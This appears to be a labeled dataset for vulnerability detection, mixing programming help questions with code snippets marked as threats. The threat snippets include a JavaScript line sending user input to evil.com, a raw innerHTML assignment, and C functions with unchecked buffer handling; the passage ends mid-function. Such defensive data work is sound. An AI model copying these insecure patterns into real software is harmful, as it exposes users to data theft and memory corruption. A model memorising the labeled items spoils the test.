problem
stringlengths
26
131k
labels
class label
2 classes
Where can I find Google Cloud Compute golang sdk for Compute, Service account etc : <p>Looking for golang sdk for Google Cloud Compute. There are thousands of links, Which one is the official golang sdk for google cloud platform for compute , network, service account auth etc?</p>
0debug
TPL / Assign object to some value inside Task of object by maintaining async : I don't have much expertise in TPL. Consider the following scenario: I have the following classes: public class Contact { public int Id { get; set; } public string Name { get; set; } public string EmailAddress { get; set; } public Company Company { get; set; } } public class Company { public int Id { get; set; } public string Name { get; set; } } Now, I have the following piece of code Task<Contact> contactDetails = r.FirstOrDefaultAsync<Contact>(); Task<Company> companyDetails = r.FirstOrDefaultAsync<Company>(); Now, What I want to is to populate Company property by the companyDetails result. something like that (please check below) contactDetails.Company = companyDetails I want to do this without calling await function to maintain async. Can anybody, please help me to do this? Thank you in advance!
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
Convert String containing Array of Integer to Integer Array in IOS Swift : I have a let locationjson: String = ["43786","55665","62789","90265"]; And I want to convert it to Arraylist / List<Integer> in IOS Swift... i have searched on stackOverflow but coudnt get appropriate solution for IOS Swift i want output as List<Integer> containing values as [43786,55665,62789,90265] please help.. thank you
0debug
PageSource generated through selenium getPagesource for firefox and ie is not getting parse : I am generating page source through selenium getpagesource() method for firefox and ie browser , but pagesource is not getting parse and massage display that "The element type "link" must be terminated by the matching end-tag "</link>" like "link" tag also shows this message for "meta","base",,"input" but pagesource generated for chrome is getting parse i am using pagesource file for xpath evaluation which is working for chrome but not for firefox and ie. Any suggestions or help ?
0debug
static int tap_can_send(void *opaque) { TAPState *s = opaque; return qemu_can_send_packet(&s->nc); }
1threat
How to refresh a table view from another view controller iOS? : <p>I have two view controllers. First one has a table view and using the second view controller I'm calling a method on first view controller. In that method I'm trying to adding an item to the objects array and refresh the table view. </p> <pre><code>[postsArr insertObject:post atIndex:postsArr.count]; dispatch_async(dispatch_get_main_queue(), ^{ [self.newsTableView reloadData]; }); </code></pre> <p>I'm calling this method in 2nd view controller,</p> <pre><code>dispatch_async(dispatch_get_main_queue(), ^{ [self.navigationController popViewControllerAnimated:YES]; [self.appContext.creator createWithText:userText completion:^(UserData *userData,NSError *error) { if (error == nil){ if (userData != nil) { [self.parent addNew:((UserData*)[userData.list objectAtIndex:0]) withImage:nil]; } }else{ [self showAlertWith:@"Error" with:@"Error occurred!"]; } }]; }); </code></pre> <p>How may I refresh the table view from another view controller?</p>
0debug
How to organize data from diferent datafiles [Fortran] : I'm really noob in programing, but my physics research doesn't care about it :). I use Fortan95, and now I'm facing a problem that I can't see any solution so I hope you can save me. It goes as follows: - I have 8 datafiles with 4 columns each one, they are generated by other program (each file contains the solutions of differential equations for diferent sets of initial condictions). - The 4th column is my 'x' variable and the 2nd column is my 'f(x)'. - So, all I want is to create a new file with 9 columns (with the 'x' in the first and the 'f(x)' of each file in the others columns). - However, each file has different values for 'x' (and its respective f), like 1.10, 1.30 and 1.40 in one and 1.15, 1.25 and 1.42 in other. - So, it's ok for me to take a 'band' in x, like [1.00;1.20] and write in my new file this average value as x, and then reune the f(x) in this band under it. But, as I've said, I'm a noob and I couldn't managed how to do it. I hope you've understand me and save my soul from the eternal damnation.
0debug
Composer installed, but get /usr/bin/env: php: No such file or directory : <p>On CentOS 7, I installed PHP 7.1.</p> <p>Then I installed composer with: </p> <pre><code>cd /tmp curl -sS https://getcomposer.org/installer | php71 --&gt; used php71 instead of php, php didn't work mv composer.phar /usr/local/bin/composer </code></pre> <p>Then, when using <code>composer</code>, I get:</p> <pre><code>/usr/bin/env: php: No such file or directory </code></pre> <p>When using <code>sudo composer</code>, I get:</p> <pre><code>sudo: composer: command not found </code></pre>
0debug
static int mxf_get_d10_aes3_packet(AVIOContext *pb, AVStream *st, AVPacket *pkt, int64_t length) { const uint8_t *buf_ptr, *end_ptr; uint8_t *data_ptr; int i; if (length > 61444) return -1; av_new_packet(pkt, length); avio_read(pb, pkt->data, length); data_ptr = pkt->data; end_ptr = pkt->data + length; buf_ptr = pkt->data + 4; for (; buf_ptr < end_ptr; ) { for (i = 0; i < st->codec->channels; i++) { uint32_t sample = bytestream_get_le32(&buf_ptr); if (st->codec->bits_per_coded_sample == 24) bytestream_put_le24(&data_ptr, (sample >> 4) & 0xffffff); else bytestream_put_le16(&data_ptr, (sample >> 12) & 0xffff); } buf_ptr += 32 - st->codec->channels*4; } pkt->size = data_ptr - pkt->data; return 0; }
1threat
def recur_gcd(a, b): low = min(a, b) high = max(a, b) if low == 0: return high elif low == 1: return 1 else: return recur_gcd(low, high%low)
0debug
woocommerce, change order view color link based on payment method on admin order table : is there any way to change order view color link on admin page table, based on chosen payment method, currently i have 2 payment method : paypal and cash on delivery. if > payment method cash on delivery > background color link red else if > payment method paypal > background color link red here attached screenshoot [screenshoot][1] [1]: https://i.stack.imgur.com/si44O.png how d
0debug
Can some please help me with the errors mention in my code? : I've been trying to do a project on College management system using python,tkinter and mysql.I'm new to coding projects like this.This actually my first project so the code won't be good.So,the problem is that whenever i try to insert a student in a table using the sql query in the program i just get a list errors wheres if i run that function separately its working fine.I have problem whenever i try to show the list of students by inputting the class and while inserting a student into a class table.These are the errors.Thanks a lot in advance and sorry for my bad coding and english. C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\python.exe C:/Users/dimon/PycharmProjects/untitled/1.py Exception in Tkinter callback Traceback (most recent call last): File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 1702, in __call__ return self.func(*args) File "C:/Users/dimon/PycharmProjects/untitled/1.py", line 34, in inr cursor.execute(q,values) File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\cursors.py", line 170, in execute result = self._query(query) File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\cursors.py", line 328, in _query conn.query(q) File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\connections.py", line 893, in query self._affected_rows = self._read_query_result(unbuffered=unbuffered) File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\connections.py", line 1103, in _read_query_result result.read() File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\connections.py", line 1396, in read first_packet = self.connection._read_packet() File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\connections.py", line 1059, in _read_packet packet.check_error() File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\connections.py", line 384, in check_error err.raise_mysql_exception(self._data) File "C:\Users\dimon\AppData\Local\Programs\Python\Python36-32\lib\site-packages\pymysql\err.py", line 109, in raise_mysql_exception raise errorclass(errno, errval) pymysql.err.ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'values('','','')' at line 1") enter code here from tkinter import * import pymysql def newc(): def inr1(): var1 = var.get() connection = pymysql.connect(host='localhost', user='root', password='', db='class') cursor = connection.cursor() q = ("create table " + str(var1) + "(Name text,regno int,attendence text)") cursor.execute(q) connection.commit() connection.close() r2.withdraw() r3.deiconify() cfr=Frame(r3,width=800,height=600).grid(row=0,column=0) l3=Label(cfr,text="Enter the name of the class").grid(row=0,column=0) var=StringVar() ec=Entry(cfr,textvariable=var).grid(row=0,column=1) eb=Button(cfr,text="Create",command=inr1).grid(row=1,column=1) eb1=Button(cfr,text="quit",command=quit).grid(row=1,column=2) def insstud(): def inr(): classname =sec.get() stu=name.get() re1=regno.get() at=att.get() connection = pymysql.connect(host='localhost', user='root', password='', db='class') cursor = connection.cursor() q = ("insert into "+str(classname)+" values(%s,%s,%s)") values=[stu,re1,at] cursor.execute(q,values) connection.commit() connection.close() r2.withdraw() s1.deiconify() sf = Frame(s1, width=800, height=600).grid(row=0, column=0) Label(sf,text="Class").grid(row=0,column=0) Entry(sf,textvariable=sec).grid(row=0,column=1) Label(sf,text="Name").grid(row=1,column=0) Entry(sf, textvariable=name).grid(row=1, column=1) Label(sf, text="Regno").grid(row=2, column=0) Entry(sf, textvariable=regno).grid(row=2, column=1) Label(sf, text="Attendance ").grid(row=3, column=0) Entry(sf, textvariable=att).grid(row=3, column=1) Button(sf,text="Submit",command=inr).grid(row=4,column=3) def postlogin(): root.destroy() r2.deiconify() nf2=Frame(r2,width=800,height=600).grid(row=0,column=0) # /*----For Displaying class---------s-*/ b1=Button(r2,text="Show the details of a class",command=show).grid(row=0,column=0,rowspan=3,columnspan=3) # /*----For creating New class----------*/ b2=Button(r2,text="Create a new class",command=newc).grid(row=0,column=2,rowspan=3,columnspan=3) b3=Button(r2,text="Insert a student into a class",command=insstud).grid(row=1,column=0,rowspan=3,columnspan=3) b4=Button(r2,text="Exit",command=quit).grid(row=1,column=2,rowspan=3,columnspan=3) def sel(): s1.destroy() data1 = [] sec1=sec.get() print(sec1) connection = pymysql.connect(host='localhost', user='root', password='', db='class') cursor = connection.cursor() q = ("select * from " + str(sec1)) cursor.execute(q) data = cursor.fetchall() for row in data: temp = [row[0], row[1], row[2]] data1.append(temp) cursor.close() connection.close() r1 = Tk() nf = Frame(r1, width=10, height=10).grid(row=0, column=0) l1 = Label(nf, text="Name").grid(row=0, column=0, sticky=W) l2 = Label(nf, text="Regno").grid(row=0, column=1, sticky=NW) l3 = Label(nf, text="Attendance perc").grid(row=0, column=2, sticky=NW) nf1 = Frame(r1, width=200, height=200).grid(row=2, column=2) t = Text(nf1) for x in range(4): t.insert(END, data1[x]) t.insert(END, "\n") t.grid(row=2, column=0) def show(): r2.withdraw() s1.deiconify() sf=Frame(s1,width=100,height=100).grid(row=0,column=0) l4=Label(sf,text="Section").grid(row=0,column=0) se=Entry(sf,textvariable=sec).grid(row=0,column=1,columnspan=4) sb=Button(sf,text="Ok",command=sel).grid(row=1,column=1) def login(): usr=user.get() pas=password.get() connection = pymysql.connect(host='localhost', user='root', password='', db='login') cursor = connection.cursor() q=("select username from user where username=%s") q1 = ("select pass from user where pass=%s") if cursor.execute(q,usr) and cursor.execute(q1, pas): postlogin() else: print("Try again") connection.commit() connection.close() root=Tk() user=StringVar() password=StringVar() sec=StringVar() name=StringVar() regno=StringVar() att=StringVar() tp=Frame(root,width=800,height=600) tp.pack() l1=Label(tp,text="Username") l1.grid(row=0,column=0) e1=Entry(tp,textvariable=user).grid(row=0,column=1,columnspan=4) l2=Label(tp,text="Password") l2.grid(row=1,column=0) e2=Entry(tp,textvariable=password).grid(row=1,column=1,columnspan=4) submit=Button(tp,text="Login",command=login).grid(row=2,column=2) #r2 is the windows for post login screen r2 = Tk() r2.withdraw() # r3 is the windows for creating a new class r3=Tk() r3.withdraw() s1=Tk() s1.withdraw() root.mainloop()
0debug
Store procedure in c - problem with output parameter. How can I use string? : I applied this code https://dev.mysql.com/doc/refman/5.5/en/c-api-prepared-call-statements.html. That's all right if I use int output variable. But what to do with MYSQL_TYPE_STRING? Adding this case to others is not enought. Any advices?
0debug
static void fill_double_array(AVLFG *lfg, double *a, int len) { int i; double bmg[2], stddev = 10.0, mean = 0.0; for (i = 0; i < len; i += 2) { av_bmg_get(lfg, bmg); a[i] = bmg[0] * stddev + mean; a[i + 1] = bmg[1] * stddev + mean; } }
1threat
static int pte64_check(mmu_ctx_t *ctx, target_ulong pte0, target_ulong pte1, int h, int rw, int type) { target_ulong ptem, mmask; int access, ret, pteh, ptev, pp; ret = -1; ptev = pte64_is_valid(pte0); pteh = (pte0 >> 1) & 1; if (ptev && h == pteh) { ptem = pte0 & PTE64_PTEM_MASK; mmask = PTE64_CHECK_MASK; pp = (pte1 & 0x00000003) | ((pte1 >> 61) & 0x00000004); ctx->nx = (pte1 >> 2) & 1; ctx->nx |= (pte1 >> 3) & 1; if (ptem == ctx->ptem) { if (ctx->raddr != (hwaddr)-1ULL) { if ((ctx->raddr & mmask) != (pte1 & mmask)) { qemu_log("Bad RPN/WIMG/PP\n"); return -3; } } access = pp_check(ctx->key, pp, ctx->nx); ctx->raddr = pte1; ctx->prot = access; ret = check_prot(ctx->prot, rw, type); if (ret == 0) { LOG_MMU("PTE access granted !\n"); } else { LOG_MMU("PTE access rejected\n"); } } } return ret; }
1threat
Android Studio java file gets corrupted : <p>Unfortunaetly my laptop shutdown unproperly during coding in Android Studio. When I turned on again and tried to reload the project one class / java file was corrupted and suddenly all code was gone! </p> <p>What I already tried:</p> <ul> <li>Local History -> Show History = nothing to show</li> <li>File / Invalidate Caches and Restart = no luck</li> <li>Decompiled apk, but code has been obfuscated by Proguard, so it is almost impossible to read</li> </ul> <p>Weird thing is that the java file has a size but the content is empty (I already deleted "nul nul nul" characters but still no luck. </p> <p>Any help or advice?</p>
0debug
static void vfio_listener_release(VFIOContainer *container) { memory_listener_unregister(&container->iommu_data.listener); }
1threat
static void gen_wsr_windowstart(DisasContext *dc, uint32_t sr, TCGv_i32 v) { tcg_gen_andi_i32(cpu_SR[sr], v, (1 << dc->config->nareg / 4) - 1); reset_used_window(dc); }
1threat
read value from content in PHP : how can I read values from content? I need username, password and values from mandant-> name and abbr thanks[enter image description here][1] [1]: https://i.stack.imgur.com/FPfZ2.png
0debug
def sequence(n): if n == 1 or n == 2: return 1 else: return sequence(sequence(n-1)) + sequence(n-sequence(n-1))
0debug
Crashing Pointer Array C++ : <p>Code::Blocks, Win7, C++</p> <p>Hi, I'm creating an overview project for myself, and an integral part includes doing an Exchange Sort in descending order. I've created a simple trial run to test the concept.</p> <p>Embarrassingly enough, I can't get past creating the array without the project crashing. This only happens when I create the array with pointers (My project's arrays are pointers, which is why I need this to work). The code compiles fine, but when I run it, I get a Window's notification that "ArrayTest.exe has stopped working"</p> <p>When I print out each dereferenced value, I get:</p> <p>"The original order: 1 13 5 7 2 "</p> <p>When I print out each value's address, I get: </p> <p>"The original order: 0x28ff08 0x28ffc4 0x760c8cd5 0x6aadab61 0xfffffffe "</p> <p>The last address showed up when using an array length of 6, and crashes as well. Am I blind to a simple error in my code, or is this a hardware issue?</p> <pre><code>//filename ArrayTest #include &lt;iostream&gt; using namespace std; int main() { int *j[5]; (*j)[0] = 1; (*j)[1] = 13; (*j)[2] = 5; (*j)[3] = 7; (*j)[4] = 2; cout &lt;&lt; "The original order: "; for (int i = 0; i &lt; 5; i++) { cout &lt;&lt; (*j)[i] &lt;&lt; " "; } return 0; } </code></pre>
0debug
QemuConsole *graphic_console_init(graphic_hw_update_ptr update, graphic_hw_invalidate_ptr invalidate, graphic_hw_screen_dump_ptr screen_dump, graphic_hw_text_update_ptr text_update, void *opaque) { int width = 640; int height = 480; QemuConsole *s; DisplayState *ds; ds = get_alloc_displaystate(); trace_console_gfx_new(); s = new_console(ds, GRAPHIC_CONSOLE); s->hw_update = update; s->hw_invalidate = invalidate; s->hw_screen_dump = screen_dump; s->hw_text_update = text_update; s->hw = opaque; s->surface = qemu_create_displaysurface(width, height); return s; }
1threat
static void scsi_remove_request(SCSIGenericReq *r) { qemu_free(r->buf); scsi_req_free(&r->req); }
1threat
Read a C file in java : <p>I've looked for this issue on stack overflow but can't seem to find it. </p> <p>How do I read a c file in my java program. I just want extracts all comments from an existing C file. </p> <p>One method is to convert the c File into a txt file and use the following:</p> <pre><code>RandomAccessFile file = new RandomAccessFile ("example.txt", "rw"); </code></pre> <p>However that ins't a scalable solution.</p> <p>Thanks in advance.</p>
0debug
How to .gitignore app/app.iml in Android Studio project? : <p>No matter how I structure my .gitignore I can't seem to ignore app/app.iml via Android Studio 2.0.0.</p> <p>So far, I've tried ignoring all *.iml files per the github's standard Android Studio .gitignore template, as well as targeting the file directly..</p> <pre><code>app/app.iml *.iml </code></pre> <p>Anybody run into a similar issue with this specific file or other *.iml files? How did you resolve it?</p>
0debug
SkAndroidCodec::NewFromStream returned null : <p>Im developing an Android App. Im getting that on Android Monitor all the time while tileprovider tiling wms on map.</p> <pre><code>D/skia: --- SkAndroidCodec::NewFromStream returned null D/skia: --- SkAndroidCodec::NewFromStream returned null D/skia: --- SkAndroidCodec::NewFromStream returned null D/skia: --- SkAndroidCodec::NewFromStream returned null </code></pre> <p>And Here's my code:</p> <pre><code>public class TileProviderFactory { // return a geoserver wms tile layer static TileProvider getTileProvider(final String url) { TileProvider tileProvider = new WMSTileProvider(256,256) { Bitmap image; @Override public synchronized URL getTileUrl(int x, int y, int zoom) { double[] bbox = getBoundingBox(x, y, zoom); String s; if (zoom &gt; 15) { s = url + "%26bbox%3D" + String.valueOf(bbox[MINX]) + "%2C"+ String.valueOf(bbox[MINY]) + "%2C"+ String.valueOf(bbox[MAXX]) + "%2C"+ String.valueOf(bbox[MAXY]) ; }else{ s = ""; } URL url = null; try { url = new URL(s); HttpsURLConnection connection = (HttpsURLConnection)url.openConnection(); // Fetch and set cookies in requests CookieManager cookieManager = CookieManager.getInstance(); String cookie = cookieManager.getCookie(connection.getURL().toString()); if (cookie != null) { connection.setRequestProperty("Cookie", cookie); } InputStream inputStream = connection.getInputStream(); image = BitmapFactory.decodeStream(inputStream); inputStream.close(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return url; } }; return tileProvider; } } </code></pre> <p>When I remove cookie nothing has changed. I think cookies not working on when wms tiling. What do you recommend? What Can I do? <em>Thanks.</em></p>
0debug
Iterate a dictionary and store value in array using Phython : I have a dictionary [{'abc':10,'efg':20,'def':30},{'abc':40,'xya':20,'def':50}] and I would like to create an array abc[] and store corresponding value in that array.so the output should look like abc[10,40] def[30,50] efg[20] and so on, using python.
0debug
static int cmv_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; CmvContext *s = avctx->priv_data; const uint8_t *buf_end = buf + buf_size; if (AV_RL32(buf)==MVIh_TAG||AV_RB32(buf)==MVIh_TAG) { cmv_process_header(s, buf+EA_PREAMBLE_SIZE, buf_end); return buf_size; } if (av_image_check_size(s->width, s->height, 0, s->avctx)) return -1; if (s->last2_frame.data[0]) avctx->release_buffer(avctx, &s->last2_frame); FFSWAP(AVFrame, s->last_frame, s->last2_frame); FFSWAP(AVFrame, s->frame, s->last_frame); s->frame.reference = 1; s->frame.buffer_hints = FF_BUFFER_HINTS_VALID; if (avctx->get_buffer(avctx, &s->frame)<0) { av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n"); return -1; } memcpy(s->frame.data[1], s->palette, AVPALETTE_SIZE); buf += EA_PREAMBLE_SIZE; if ((buf[0]&1)) { cmv_decode_inter(s, buf+2, buf_end); s->frame.key_frame = 0; s->frame.pict_type = AV_PICTURE_TYPE_P; }else{ s->frame.key_frame = 1; s->frame.pict_type = AV_PICTURE_TYPE_I; cmv_decode_intra(s, buf+2, buf_end); } *data_size = sizeof(AVFrame); *(AVFrame*)data = s->frame; return buf_size; }
1threat
Image don't display in outlook when I created a meeting invitation email : <p>I created a meeting invitation email and inserted an image in it(not through outlook). But when I use Outlook 2013 to receive this mail, the picture is displayed as an icon.</p>
0debug
document.getElementById('input').innerHTML = user_input;
1threat
Mutithreaded chat in windows C++ : i'm trying to do a simple multithreaded client/server chat but i have a problem, the program go in a loop without show any message, all i have is the message "Received: " and nothing more. Here the codes Server code: #pragma comment(lib, "WS2_32.lib") // link con Ws2_32.lib #include <Winsock2.h> #include <Windows.h> //Windows.h viene comunque inclusa dentro a Winsock2.h #include <iostream> #include <cstdio> #include <pthread.h> #define DEFAULT_PORT 54345 //Stabilisco come porta principale la 54345 using namespace std; void *ricezione(void *) { SOCKET client; long app; char buff[256]; memset(&buff,0,sizeof(buff)); while(1) { memset(&buff,0,sizeof(buff)); app=recv(client,buff,sizeof(buff), 0); if(app<0) cout<<"Impossibile ricevere messaggio"<<endl; else cout<<"Client: "<<buff<<endl; } } int main() { pthread_t threadA[5]; cout<<"Server TCP/IP"<<endl; char recvbuf[256]; //Buff di ricezione messaggio char serverAddrStr[256]={'\0'}; //Contiene indirizzo IP da inserire, all'inizio è vuoto #ifdef WIN32 //Mi preparo per l'utilizzo della winsocket (Serve per forza) WSADATA wsaData; WSAStartup (0x0101,&wsaData); #endif long res; //Variabile utile WSADATA wsadata; //La winsocket res = WSAStartup(MAKEWORD(2, 1), &wsadata); //Prendo dll winsocket e la inizializzo if(res==0) cout<<"Winsocket inizializzata con successo!"<<endl; //Controllo sull'inizializzazione della winsocket else cout<<"Errore nell'inizializzazzione della winsocket'"<<endl; SOCKET slisten,client; //Dichiaro i Socket Descriptor cout<<"Inserisci indirizzo al quale connettersi: "; cin.getline(serverAddrStr,256); slisten=socket(AF_INET,SOCK_STREAM,0); //Creo il socket if(slisten!=INVALID_SOCKET) cout<<"Socket creato con successo!"<<endl; else cout<<"Errore nella creazione del socket"<<endl; //Varie informazioni del socket sockaddr_in info; //sockaddr info.sin_addr.s_addr=INADDR_ANY; //Accetto chiunque info.sin_family=AF_INET; //Famiglia di protocolli info.sin_port=htons(54345); //Converto la porta nell'ordine (big-endian) del TCP/IP - Più significativo meno significativo int infolen=sizeof(info); //Variabile utile a contenere la dimensione della sockaddr res=bind(slisten,(struct sockaddr*)&info, infolen); //Avvio collegamento server-client if(res!=SOCKET_ERROR) cout<<"Connessione avvenuta con successo!"<<endl; //Controllo se la connessione è avvenuta correttamente else cout<<"Errore di connessione..."<<endl; res=listen(slisten,SOMAXCONN); //Avvio ascolto client e ascolto il numero massimo di connessioni if(res!=SOCKET_ERROR) cout<<"Sono in ascolto sulla porta 54345"<<endl; //Controllo se è possibile mettersi in ascolto sulla porta 54345 else cout<<"Impossibile mettersi in ascolto sulla porta 54345"<<endl; sockaddr_in clientinfo; //Struttura che contiene le informazioni del client int clientinfolen=sizeof(clientinfo); //Lunghezza struttura clientinfo, mi serve per dopo int nthread=0; while(nthread<5) //Ciclo fino a quando posso { clientinfolen= sizeof(clientinfo); cout<<"Sono in ascolto di un client"<<endl; cout<<"nthread: "<<nthread<<endl; client=accept(slisten,(struct sockaddr*)&clientinfo,&clientinfolen); //Avvio la comunicazione if(client<0) { cout<<"Non posso accettare la connessione"<<endl; return 0; } cout<<"Connessione riuscita"<<endl; res=pthread_create(&threadA[nthread],NULL,ricezione,NULL); if(res!=0) cout<<"Errore creazione thread"<<endl; nthread++; } for(int i=0;i<5;i++) pthread_join(threadA[i],NULL); closesocket(client); //Chiudo socket client closesocket(slisten); //Chiudo socket server WSACleanup(); //Termino utilizzo delle Winsock system("PAUSE"); return 0; } And here the client code: #pragma comment(lib,"ws2_32.lib") #include <cstdio> #include <iostream> #include <WinSock2.h> #include <Windows.h> using namespace std; int main() { cout<<"Client TCP/IP"<<endl; char sendbuf[256]; //Buffer di invio long res; //Variabile utile WSADATA wsadata; //Variabile che contiene informazioni Winsocket SOCKET sConnect; //Variabile di tipo socket sockaddr_in conpar; res=WSAStartup(MAKEWORD(2,0),&wsadata); //Mi preparo per l'utilizzo delle winsocket if(res==0) cout<<"Inizializzazione della winsocket avvenuta con successo!"<<endl; //Controllo creazione winsocket else cout<<"Inizializzazione della winsocket fallita"<<endl; sConnect=socket(AF_INET,SOCK_STREAM,0); //Creo la socket if(sConnect!=INVALID_SOCKET) cout<<"Socket creato con successo!"<<endl; //Controllo creazione socket else cout<<"Errore nella creazione del socket, errore: "<<WSAGetLastError()<<endl; hostent *serverInfo; //Struttura che contiene le informazioni dell'host char serverAddrStr[256]; //Indirizzo IP cout<<"Inserisci l'indirizzo al quale connettersi: "; cin.getline(serverAddrStr,256); //prendo indirizzo IP in input //Inserisco informazioni nella struttura conpar conpar.sin_addr.S_un.S_addr=inet_addr(serverAddrStr); //Indirizzo al quale connettersi conpar.sin_family=AF_INET; //Famiglia di protocolli che accetto conpar.sin_port=htons(54345); //Porta al quale connettersi in formato big-endian int conparlen=sizeof(conpar); //Dimensione struttura res=connect(sConnect,(struct sockaddr*)&conpar,conparlen); //Connessione if(res!=SOCKET_ERROR) cout<<"Connessione avvenuta con successo!"<<endl; //Controllo sulla connessione else cout<<"Connessione fallita, errore: "<<WSAGetLastError()<<endl; while(1) //Ciclo fino a quando non chiudo { memset(&sendbuf,0,sizeof(sendbuf)); //Inizializzo buffer di invio a 0 cout<<"Invia: "; cin.getline(sendbuf,256);; //Prendo messaggio res=send(sConnect,sendbuf,strlen(sendbuf),0); //Invio messaggio } closesocket(sConnect); //Chiudo socket WSACleanup(); //Termino utilizzo winsocket system("PAUSE"); return 0; } I'm using posix thread in windows system with the package installated. Thanks all for the help :)
0debug
static int rle_unpack(unsigned char *src, unsigned char *dest, int len) { unsigned char *ps; unsigned char *pd; int i, l; ps = src; pd = dest; if (len & 1) *pd++ = *ps++; len >>= 1; i = 0; do { l = *ps++; if (l & 0x80) { l = (l & 0x7F) * 2; memcpy(pd, ps, l); ps += l; pd += l; } else { for (i = 0; i < l; i++) { *pd++ = ps[0]; *pd++ = ps[1]; } ps += 2; } i += l; } while (i < len); return (ps - src); }
1threat
static void seqvideo_decode(SeqVideoContext *seq, const unsigned char *data, int data_size) { GetBitContext gb; int flags, i, j, x, y, op; unsigned char c[3]; unsigned char *dst; uint32_t *palette; flags = *data++; if (flags & 1) { palette = (uint32_t *)seq->frame.data[1]; for (i = 0; i < 256; i++) { for (j = 0; j < 3; j++, data++) c[j] = (*data << 2) | (*data >> 4); palette[i] = AV_RB24(c); } seq->frame.palette_has_changed = 1; } if (flags & 2) { init_get_bits(&gb, data, 128 * 8); data += 128; for (y = 0; y < 128; y += 8) for (x = 0; x < 256; x += 8) { dst = &seq->frame.data[0][y * seq->frame.linesize[0] + x]; op = get_bits(&gb, 2); switch (op) { case 1: data = seq_decode_op1(seq, data, dst); break; case 2: data = seq_decode_op2(seq, data, dst); break; case 3: data = seq_decode_op3(seq, data, dst); break; } } } }
1threat
nginx unexpected end of file, expecting ";" or "}" in /etc/nginx/sites-enabled/default:20 over Raspbian : <p>I'm new at nginx and Raspberry.</p> <p>I installed nginx using </p> <blockquote> <p>sudo apt-get install</p> </blockquote> <p>And everything was fine at that point. The problem came when I tried to restart nginx, It threw this error</p> <blockquote> <p>Job for nginx.service failed. See 'systemctl status ngins.service' and 'journaldtl -xn' for details</p> </blockquote> <p>After an investigation I found that the problem is the next error:</p> <blockquote> <p>unexpected end of file, expecting ";" or "}" in /etc/nginx/sites-enabled/default:20</p> </blockquote> <p>My default file is:</p> <pre><code># Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples. ## server { #listen 80; ## listen for ipv4; this line is default and implied #listen [::]:80 default_server ipv6only=on; ## listen for ipv6 listen 80; server_name $domain_name; root /var/www; index index.html index.htm; access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; # Make site accessible from http://localhost/ server_name localhost; location / </code></pre> <p>I hope you can help me :)</p>
0debug
how to calculate the difference between two columns with datatype timestamp : i am having a two columns login,logout with values "2019-08-07 20:37:12" in login column and "2019-08-07 21:14:16" in logout column. i want the difference between time values from login and logout columns sql SELECT logintime,CONVERT(varchar(6),DATEDIFF(second, login, logout)/3600) + ':' + RIGHT('0' + CONVERT(varchar(2),(DATEDIFF(second, login,logout) % 3600) / 60), 2) + ':' + RIGHT('0' + CONVERT(varchar(2),DATEDIFF(second, login, logout) % 60), 2) AS 'HH:MM:SS' from face_login_logout expected result is '2019-08-07 01:23:04 '
0debug
it is not saving without an image. : i need to save this record without an image if its necessary. this is my code i have used the if statement too: private void btnsave_Click(object sender, EventArgs e) { try { string commandText = "INSERT INTO Stock_Jewelry VALUES(@Stock_Type,@stock_no,@Quantity,@image)"; SqlCommand command = new SqlCommand(commandText, conn); command.Parameters.Add("@Stock_Type", SqlDbType.VarChar); command.Parameters["@Stock_Type"].Value = Stock_Type.Text; command.Parameters.Add("@stock_no", SqlDbType.NVarChar); command.Parameters["@stock_no"].Value = txt_stock_no.Text; command.Parameters.Add("@Quantity", SqlDbType.Int); command.Parameters["@Quantity"].Value = txt_qty.Text; if(pb1 != null) { MemoryStream stream = new MemoryStream(); pb1.Image.Save(stream, System.Drawing.Imaging.ImageFormat.Jpeg); byte[] pic = stream.ToArray(); command.Parameters.AddWithValue("@image", pic); } else { pb1 = null; } command.ExecuteNonQuery(); MessageBox.Show("You've inserted successfully!", "Successful Message", MessageBoxButtons.OK, MessageBoxIcon.Information); this.Hide(); } catch (Exception ex) { MessageBox.Show(ex.Message, "Error Message", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
0debug
static int disas_thumb2_insn(CPUARMState *env, DisasContext *s, uint16_t insn_hw1) { uint32_t insn, imm, shift, offset; uint32_t rd, rn, rm, rs; TCGv_i32 tmp; TCGv_i32 tmp2; TCGv_i32 tmp3; TCGv_i32 addr; TCGv_i64 tmp64; int op; int shiftop; int conds; int logic_cc; if (!(arm_feature(env, ARM_FEATURE_THUMB2) || arm_feature (env, ARM_FEATURE_M))) { insn = insn_hw1; if ((insn & (1 << 12)) == 0) { ARCH(5); offset = ((insn & 0x7ff) << 1); tmp = load_reg(s, 14); tcg_gen_addi_i32(tmp, tmp, offset); tcg_gen_andi_i32(tmp, tmp, 0xfffffffc); tmp2 = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp2, s->pc | 1); store_reg(s, 14, tmp2); gen_bx(s, tmp); return 0; } if (insn & (1 << 11)) { offset = ((insn & 0x7ff) << 1) | 1; tmp = load_reg(s, 14); tcg_gen_addi_i32(tmp, tmp, offset); tmp2 = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp2, s->pc | 1); store_reg(s, 14, tmp2); gen_bx(s, tmp); return 0; } if ((s->pc & ~TARGET_PAGE_MASK) == 0) { offset = ((int32_t)insn << 21) >> 9; tcg_gen_movi_i32(cpu_R[14], s->pc + 2 + offset); return 0; } } insn = arm_lduw_code(env, s->pc, s->bswap_code); s->pc += 2; insn |= (uint32_t)insn_hw1 << 16; if ((insn & 0xf800e800) != 